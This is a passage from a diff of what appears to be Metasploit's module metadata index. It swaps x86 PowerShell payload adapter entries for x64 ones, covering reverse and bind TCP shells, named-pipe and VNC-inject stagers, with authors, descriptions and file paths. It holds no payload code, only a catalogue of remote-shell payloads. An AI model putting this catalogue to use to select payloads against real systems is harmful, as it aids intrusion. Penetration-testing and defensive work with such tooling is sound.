"ref_name": "cmd/windows/powershell/x64/powershell_bind_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -186696,9 +196270,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/upexec/reverse_tcp_rc4": { - "name": "Powershell Exec, Windows Upload/Execute, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", - "fullname": "payload/cmd/windows/powershell/upexec/reverse_tcp_rc4", + "payload_cmd/windows/powershell/x64/powershell_reverse_tcp": { + "name": "Powershell Exec", + "fullname": "payload/cmd/windows/powershell/x64/powershell_reverse_tcp", "aliases": [ ], @@ -186707,16 +196281,13 @@ "type": "payload", "author": [ "Spencer McIntyre", - "vlad902 ", - "sf ", - "hdm ", - "skape ", - "mihi", - "RageLtMan" + "Ben Turner", + "Dave Hardy", + "sf " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nUploads an executable and runs it (staged).\n\nConnect back to the attacker", + "description": "Execute an x64 payload from a command via PowerShell", "references": [ - + "URL-https://blog.nettitude.com/uk/interactive-powershell-session-via-metasploit" ], "platform": "Windows", "arch": "cmd", @@ -186725,20 +196296,20 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/upexec/reverse_tcp_rc4", + "ref_name": "cmd/windows/powershell/x64/powershell_reverse_tcp", "check": false, - "post_auth": true, + "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/upexec/reverse_tcp_rc4_dns": { - "name": "Powershell Exec, Windows Upload/Execute, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)", - "fullname": "payload/cmd/windows/powershell/upexec/reverse_tcp_rc4_dns", + "payload_cmd/windows/powershell/x64/powershell_reverse_tcp_ssl": { + "name": "Powershell Exec", + "fullname": "payload/cmd/windows/powershell/x64/powershell_reverse_tcp_ssl", "aliases": [ ], @@ -186747,16 +196318,13 @@ "type": "payload", "author": [ "Spencer McIntyre", - "vlad902 ", - "sf ", - "hdm ", - "skape ", - "mihi", - "RageLtMan" + "Ben Turner", + "Dave Hardy", + "sf " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nUploads an executable and runs it (staged).\n\nConnect back to the attacker", + "description": "Execute an x64 payload from a command via PowerShell", "references": [ - + "URL-https://blog.nettitude.com/uk/interactive-powershell-session-via-metasploit" ], "platform": "Windows", "arch": "cmd", @@ -186765,20 +196333,20 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/upexec/reverse_tcp_rc4_dns", + "ref_name": "cmd/windows/powershell/x64/powershell_reverse_tcp_ssl", "check": false, - "post_auth": true, + "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/upexec/reverse_tcp_uuid": { - "name": "Powershell Exec, Windows Upload/Execute, Reverse TCP Stager with UUID Support", - "fullname": "payload/cmd/windows/powershell/upexec/reverse_tcp_uuid", + "payload_cmd/windows/powershell/x64/shell/bind_ipv6_tcp": { + "name": "Powershell Exec, Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager", + "fullname": "payload/cmd/windows/powershell/x64/shell/bind_ipv6_tcp", "aliases": [ ], @@ -186787,12 +196355,9 @@ "type": "payload", "author": [ "Spencer McIntyre", - "vlad902 ", - "sf ", - "hdm ", - "OJ Reeves" + "sf " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nUploads an executable and runs it (staged).\n\nConnect back to the attacker with UUID Support", + "description": "Execute an x64 payload from a command via PowerShell.\n\nSpawn a piped command shell (Windows x64) (staged).\n\nListen for an IPv6 connection (Windows x64)", "references": [ ], @@ -186803,9 +196368,9 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/upexec/reverse_tcp_uuid", + "ref_name": "cmd/windows/powershell/x64/shell/bind_ipv6_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -186814,9 +196379,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/upexec/reverse_udp": { - "name": "Powershell Exec, Windows Upload/Execute, Reverse UDP Stager with UUID Support", - "fullname": "payload/cmd/windows/powershell/upexec/reverse_udp", + "payload_cmd/windows/powershell/x64/shell/bind_ipv6_tcp_uuid": { + "name": "Powershell Exec, Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager with UUID Support", + "fullname": "payload/cmd/windows/powershell/x64/shell/bind_ipv6_tcp_uuid", "aliases": [ ], @@ -186825,11 +196390,10 @@ "type": "payload", "author": [ "Spencer McIntyre", - "vlad902 ", "sf ", - "RageLtMan " + "OJ Reeves" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nUploads an executable and runs it (staged).\n\nConnect back to the attacker with UUID Support", + "description": "Execute an x64 payload from a command via PowerShell.\n\nSpawn a piped command shell (Windows x64) (staged).\n\nListen for an IPv6 connection with UUID Support (Windows x64)", "references": [ ], @@ -186840,9 +196404,9 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/upexec/reverse_udp", + "ref_name": "cmd/windows/powershell/x64/shell/bind_ipv6_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, @@ -186851,9 +196415,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/vncinject/bind_hidden_ipknock_tcp": { - "name": "Powershell Exec, Hidden Bind Ipknock TCP Stager", - "fullname": "payload/cmd/windows/powershell/vncinject/bind_hidden_ipknock_tcp", + "payload_cmd/windows/powershell/x64/shell/bind_named_pipe": { + "name": "Powershell Exec, Windows x64 Command Shell, Windows x64 Bind Named Pipe Stager", + "fullname": "payload/cmd/windows/powershell/x64/shell/bind_named_pipe", "aliases": [ ], @@ -186863,14 +196427,11 @@ "author": [ "Spencer McIntyre", "sf ", - "hdm ", - "skape ", - "Borja Merino " + "UserExistsError" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection. First, the port will need to be knocked from\nthe IP defined in KHOST. This IP will work as an authentication method\n(you can spoof it with tools like hping). After that you could get your\nshellcode from any IP. The socket will appear as \"closed,\" thus helping to\nhide the shellcode", + "description": "Execute an x64 payload from a command via PowerShell.\n\nSpawn a piped command shell (Windows x64) (staged).\n\nListen for a pipe connection (Windows x64)", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -186879,9 +196440,9 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/vncinject/bind_hidden_ipknock_tcp", + "ref_name": "cmd/windows/powershell/x64/shell/bind_named_pipe", "check": false, "post_auth": false, "default_credential": false, @@ -186890,9 +196451,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/vncinject/bind_hidden_tcp": { - "name": "Powershell Exec, Hidden Bind TCP Stager", - "fullname": "payload/cmd/windows/powershell/vncinject/bind_hidden_tcp", + "payload_cmd/windows/powershell/x64/shell/bind_tcp": { + "name": "Powershell Exec, Windows x64 Command Shell, Windows x64 Bind TCP Stager", + "fullname": "payload/cmd/windows/powershell/x64/shell/bind_tcp", "aliases": [ ], @@ -186901,15 +196462,11 @@ "type": "payload", "author": [ "Spencer McIntyre", - "sf ", - "hdm ", - "skape ", - "Borja Merino " + "sf " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection from a hidden port and spawn a command shell to the allowed host.", + "description": "Execute an x64 payload from a command via PowerShell.\n\nSpawn a piped command shell (Windows x64) (staged).\n\nListen for a connection (Windows x64)", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -186918,9 +196475,9 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/vncinject/bind_hidden_tcp", + "ref_name": "cmd/windows/powershell/x64/shell/bind_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -186929,9 +196486,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/vncinject/bind_ipv6_tcp": { - "name": "Powershell Exec, Bind IPv6 TCP Stager (Windows x86)", - "fullname": "payload/cmd/windows/powershell/vncinject/bind_ipv6_tcp", + "payload_cmd/windows/powershell/x64/shell/bind_tcp_rc4": { + "name": "Powershell Exec, Windows x64 Command Shell, Bind TCP Stager (RC4 Stage Encryption, Metasm)", + "fullname": "payload/cmd/windows/powershell/x64/shell/bind_tcp_rc4", "aliases": [ ], @@ -186942,12 +196499,14 @@ "Spencer McIntyre", "sf ", "hdm ", - "skape " + "skape ", + "mihi", + "max3raza", + "RageLtMan" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for an IPv6 connection (Windows x86)", + "description": "Execute an x64 payload from a command via PowerShell.\n\nSpawn a piped command shell (Windows x64) (staged).\n\nConnect back to the attacker", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -186956,20 +196515,20 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/vncinject/bind_ipv6_tcp", + "ref_name": "cmd/windows/powershell/x64/shell/bind_tcp_rc4", "check": false, - "post_auth": false, + "post_auth": true, "default_credential": false, "notes": { }, "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/vncinject/bind_ipv6_tcp_uuid": { - "name": "Powershell Exec, Bind IPv6 TCP Stager with UUID Support (Windows x86)", - "fullname": "payload/cmd/windows/powershell/vncinject/bind_ipv6_tcp_uuid", + "payload_cmd/windows/powershell/x64/shell/bind_tcp_uuid": { + "name": "Powershell Exec, Windows x64 Command Shell, Bind TCP Stager with UUID Support (Windows x64)", + "fullname": "payload/cmd/windows/powershell/x64/shell/bind_tcp_uuid", "aliases": [ ], @@ -186979,14 +196538,11 @@ "author": [ "Spencer McIntyre", "sf ", - "hdm ", - "skape ", "OJ Reeves" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for an IPv6 connection with UUID Support (Windows x86)", + "description": "Execute an x64 payload from a command via PowerShell.\n\nSpawn a piped command shell (Windows x64) (staged).\n\nListen for a connection with UUID Support (Windows x64)", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -186995,9 +196551,9 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/vncinject/bind_ipv6_tcp_uuid", + "ref_name": "cmd/windows/powershell/x64/shell/bind_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, @@ -187006,9 +196562,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/vncinject/bind_named_pipe": { - "name": "Powershell Exec, Windows x86 Bind Named Pipe Stager", - "fullname": "payload/cmd/windows/powershell/vncinject/bind_named_pipe", + "payload_cmd/windows/powershell/x64/shell/reverse_tcp": { + "name": "Powershell Exec, Windows x64 Command Shell, Windows x64 Reverse TCP Stager", + "fullname": "payload/cmd/windows/powershell/x64/shell/reverse_tcp", "aliases": [ ], @@ -187017,13 +196573,11 @@ "type": "payload", "author": [ "Spencer McIntyre", - "sf ", - "UserExistsError" + "sf " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a pipe connection (Windows x86)", + "description": "Execute an x64 payload from a command via PowerShell.\n\nSpawn a piped command shell (Windows x64) (staged).\n\nConnect back to the attacker (Windows x64)", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -187032,9 +196586,9 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/vncinject/bind_named_pipe", + "ref_name": "cmd/windows/powershell/x64/shell/reverse_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -187043,9 +196597,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/vncinject/bind_nonx_tcp": { - "name": "Powershell Exec, Bind TCP Stager (No NX or Win7)", - "fullname": "payload/cmd/windows/powershell/vncinject/bind_nonx_tcp", + "payload_cmd/windows/powershell/x64/shell/reverse_tcp_rc4": { + "name": "Powershell Exec, Windows x64 Command Shell, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", + "fullname": "payload/cmd/windows/powershell/x64/shell/reverse_tcp_rc4", "aliases": [ ], @@ -187055,12 +196609,15 @@ "author": [ "Spencer McIntyre", "sf ", - "vlad902 " + "hdm ", + "skape ", + "mihi", + "max3raza", + "RageLtMan" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection (No NX)", + "description": "Execute an x64 payload from a command via PowerShell.\n\nSpawn a piped command shell (Windows x64) (staged).\n\nConnect back to the attacker", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -187069,20 +196626,20 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/vncinject/bind_nonx_tcp", + "ref_name": "cmd/windows/powershell/x64/shell/reverse_tcp_rc4", "check": false, - "post_auth": false, + "post_auth": true, "default_credential": false, "notes": { }, "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/vncinject/bind_tcp": { - "name": "Powershell Exec, Bind TCP Stager (Windows x86)", - "fullname": "payload/cmd/windows/powershell/vncinject/bind_tcp", + "payload_cmd/windows/powershell/x64/shell/reverse_tcp_uuid": { + "name": "Powershell Exec, Windows x64 Command Shell, Reverse TCP Stager with UUID Support (Windows x64)", + "fullname": "payload/cmd/windows/powershell/x64/shell/reverse_tcp_uuid", "aliases": [ ], @@ -187092,13 +196649,11 @@ "author": [ "Spencer McIntyre", "sf ", - "hdm ", - "skape " + "OJ Reeves" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection (Windows x86)", + "description": "Execute an x64 payload from a command via PowerShell.\n\nSpawn a piped command shell (Windows x64) (staged).\n\nConnect back to the attacker with UUID Support (Windows x64)", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -187107,9 +196662,9 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/vncinject/bind_tcp", + "ref_name": "cmd/windows/powershell/x64/shell/reverse_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, @@ -187118,9 +196673,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/vncinject/bind_tcp_rc4": { - "name": "Powershell Exec, Bind TCP Stager (RC4 Stage Encryption, Metasm)", - "fullname": "payload/cmd/windows/powershell/vncinject/bind_tcp_rc4", + "payload_cmd/windows/powershell/x64/shell_bind_tcp": { + "name": "Powershell Exec, Windows x64 Command Shell, Bind TCP Inline", + "fullname": "payload/cmd/windows/powershell/x64/shell_bind_tcp", "aliases": [ ], @@ -187129,16 +196684,11 @@ "type": "payload", "author": [ "Spencer McIntyre", - "sf ", - "hdm ", - "skape ", - "mihi", - "RageLtMan" + "sf " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection", + "description": "Execute an x64 payload from a command via PowerShell.\n\nListen for a connection and spawn a command shell (Windows x64)", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -187147,20 +196697,20 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/vncinject/bind_tcp_rc4", + "ref_name": "cmd/windows/powershell/x64/shell_bind_tcp", "check": false, - "post_auth": true, + "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/vncinject/bind_tcp_uuid": { - "name": "Powershell Exec, Bind TCP Stager with UUID Support (Windows x86)", - "fullname": "payload/cmd/windows/powershell/vncinject/bind_tcp_uuid", + "payload_cmd/windows/powershell/x64/shell_reverse_tcp": { + "name": "Powershell Exec, Windows x64 Command Shell, Reverse TCP Inline", + "fullname": "payload/cmd/windows/powershell/x64/shell_reverse_tcp", "aliases": [ ], @@ -187169,14 +196719,11 @@ "type": "payload", "author": [ "Spencer McIntyre", - "sf ", - "hdm ", - "OJ Reeves" + "sf " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection with UUID Support (Windows x86)", + "description": "Execute an x64 payload from a command via PowerShell.\n\nConnect back to attacker and spawn a command shell (Windows x64)", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -187185,9 +196732,9 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/vncinject/bind_tcp_uuid", + "ref_name": "cmd/windows/powershell/x64/shell_reverse_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -187196,9 +196743,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/vncinject/find_tag": { - "name": "Powershell Exec, Find Tag Ordinal Stager", - "fullname": "payload/cmd/windows/powershell/vncinject/find_tag", + "payload_cmd/windows/powershell/x64/vncinject/bind_ipv6_tcp": { + "name": "Powershell Exec, Windows x64 IPv6 Bind TCP Stager", + "fullname": "payload/cmd/windows/powershell/x64/vncinject/bind_ipv6_tcp", "aliases": [ ], @@ -187207,10 +196754,9 @@ "type": "payload", "author": [ "Spencer McIntyre", - "sf ", - "skape " + "sf " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nUse an established connection", + "description": "Execute an x64 payload from a command via PowerShell.\n\nListen for an IPv6 connection (Windows x64)", "references": [ "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", "URL-https://github.com/rapid7/ReflectiveDLLInjection" @@ -187222,9 +196768,9 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/vncinject/find_tag", + "ref_name": "cmd/windows/powershell/x64/vncinject/bind_ipv6_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -187233,9 +196779,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/vncinject/reverse_hop_http": { - "name": "Powershell Exec, Reverse Hop HTTP/HTTPS Stager", - "fullname": "payload/cmd/windows/powershell/vncinject/reverse_hop_http", + "payload_cmd/windows/powershell/x64/vncinject/bind_ipv6_tcp_uuid": { + "name": "Powershell Exec, Windows x64 IPv6 Bind TCP Stager with UUID Support", + "fullname": "payload/cmd/windows/powershell/x64/vncinject/bind_ipv6_tcp_uuid", "aliases": [ ], @@ -187245,11 +196791,9 @@ "author": [ "Spencer McIntyre", "sf ", - "scriptjunkie ", - "bannedit ", - "hdm " + "OJ Reeves" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nTunnel communication over an HTTP or HTTPS hop point. Note that you must first upload\ndata/hop/hop.php to the PHP server you wish to use as a hop.", + "description": "Execute an x64 payload from a command via PowerShell.\n\nListen for an IPv6 connection with UUID Support (Windows x64)", "references": [ "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", "URL-https://github.com/rapid7/ReflectiveDLLInjection" @@ -187261,9 +196805,9 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/vncinject/reverse_hop_http", + "ref_name": "cmd/windows/powershell/x64/vncinject/bind_ipv6_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, @@ -187272,9 +196816,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/vncinject/reverse_http": { - "name": "Powershell Exec, Windows Reverse HTTP Stager (wininet)", - "fullname": "payload/cmd/windows/powershell/vncinject/reverse_http", + "payload_cmd/windows/powershell/x64/vncinject/bind_named_pipe": { + "name": "Powershell Exec, Windows x64 Bind Named Pipe Stager", + "fullname": "payload/cmd/windows/powershell/x64/vncinject/bind_named_pipe", "aliases": [ ], @@ -187284,9 +196828,9 @@ "author": [ "Spencer McIntyre", "sf ", - "hdm " + "UserExistsError" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nTunnel communication over HTTP (Windows wininet)", + "description": "Execute an x64 payload from a command via PowerShell.\n\nListen for a pipe connection (Windows x64)", "references": [ "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", "URL-https://github.com/rapid7/ReflectiveDLLInjection" @@ -187298,9 +196842,9 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/vncinject/reverse_http", + "ref_name": "cmd/windows/powershell/x64/vncinject/bind_named_pipe", "check": false, "post_auth": false, "default_credential": false, @@ -187309,9 +196853,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/vncinject/reverse_http_proxy_pstore": { - "name": "Powershell Exec, Reverse HTTP Stager Proxy", - "fullname": "payload/cmd/windows/powershell/vncinject/reverse_http_proxy_pstore", + "payload_cmd/windows/powershell/x64/vncinject/bind_tcp": { + "name": "Powershell Exec, Windows x64 Bind TCP Stager", + "fullname": "payload/cmd/windows/powershell/x64/vncinject/bind_tcp", "aliases": [ ], @@ -187320,10 +196864,9 @@ "type": "payload", "author": [ "Spencer McIntyre", - "sf ", - "hdm " + "sf " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nTunnel communication over HTTP", + "description": "Execute an x64 payload from a command via PowerShell.\n\nListen for a connection (Windows x64)", "references": [ "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", "URL-https://github.com/rapid7/ReflectiveDLLInjection" @@ -187335,9 +196878,9 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/vncinject/reverse_http_proxy_pstore", + "ref_name": "cmd/windows/powershell/x64/vncinject/bind_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -187346,9 +196889,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/vncinject/reverse_ipv6_tcp": { - "name": "Powershell Exec, Reverse TCP Stager (IPv6)", - "fullname": "payload/cmd/windows/powershell/vncinject/reverse_ipv6_tcp", + "payload_cmd/windows/powershell/x64/vncinject/bind_tcp_rc4": { + "name": "Powershell Exec, Bind TCP Stager (RC4 Stage Encryption, Metasm)", + "fullname": "payload/cmd/windows/powershell/x64/vncinject/bind_tcp_rc4", "aliases": [ ], @@ -187359,9 +196902,12 @@ "Spencer McIntyre", "sf ", "hdm ", - "skape " + "skape ", + "mihi", + "max3raza", + "RageLtMan" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker over IPv6", + "description": "Execute an x64 payload from a command via PowerShell.\n\nConnect back to the attacker", "references": [ "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", "URL-https://github.com/rapid7/ReflectiveDLLInjection" @@ -187373,20 +196919,20 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/vncinject/reverse_ipv6_tcp", + "ref_name": "cmd/windows/powershell/x64/vncinject/bind_tcp_rc4", "check": false, - "post_auth": false, + "post_auth": true, "default_credential": false, "notes": { }, "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/vncinject/reverse_nonx_tcp": { - "name": "Powershell Exec, Reverse TCP Stager (No NX or Win7)", - "fullname": "payload/cmd/windows/powershell/vncinject/reverse_nonx_tcp", + "payload_cmd/windows/powershell/x64/vncinject/bind_tcp_uuid": { + "name": "Powershell Exec, Bind TCP Stager with UUID Support (Windows x64)", + "fullname": "payload/cmd/windows/powershell/x64/vncinject/bind_tcp_uuid", "aliases": [ ], @@ -187396,9 +196942,9 @@ "author": [ "Spencer McIntyre", "sf ", - "vlad902 " + "OJ Reeves" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker (No NX)", + "description": "Execute an x64 payload from a command via PowerShell.\n\nListen for a connection with UUID Support (Windows x64)", "references": [ "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", "URL-https://github.com/rapid7/ReflectiveDLLInjection" @@ -187410,9 +196956,9 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/vncinject/reverse_nonx_tcp", + "ref_name": "cmd/windows/powershell/x64/vncinject/bind_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, @@ -187421,9 +196967,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/vncinject/reverse_ord_tcp": { - "name": "Powershell Exec, Reverse Ordinal TCP Stager (No NX or Win7)", - "fullname": "payload/cmd/windows/powershell/vncinject/reverse_ord_tcp", + "payload_cmd/windows/powershell/x64/vncinject/reverse_http": { + "name": "Powershell Exec, Windows x64 Reverse HTTP Stager (wininet)", + "fullname": "payload/cmd/windows/powershell/x64/vncinject/reverse_http", "aliases": [ ], @@ -187433,9 +196979,9 @@ "author": [ "Spencer McIntyre", "sf ", - "spoonm " + "OJ Reeves" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker", + "description": "Execute an x64 payload from a command via PowerShell.\n\nTunnel communication over HTTP (Windows x64 wininet)", "references": [ "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", "URL-https://github.com/rapid7/ReflectiveDLLInjection" @@ -187447,9 +196993,9 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/vncinject/reverse_ord_tcp", + "ref_name": "cmd/windows/powershell/x64/vncinject/reverse_http", "check": false, "post_auth": false, "default_credential": false, @@ -187458,9 +197004,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/vncinject/reverse_tcp": { - "name": "Powershell Exec, Reverse TCP Stager", - "fullname": "payload/cmd/windows/powershell/vncinject/reverse_tcp", + "payload_cmd/windows/powershell/x64/vncinject/reverse_https": { + "name": "Powershell Exec, Windows x64 Reverse HTTP Stager (wininet)", + "fullname": "payload/cmd/windows/powershell/x64/vncinject/reverse_https", 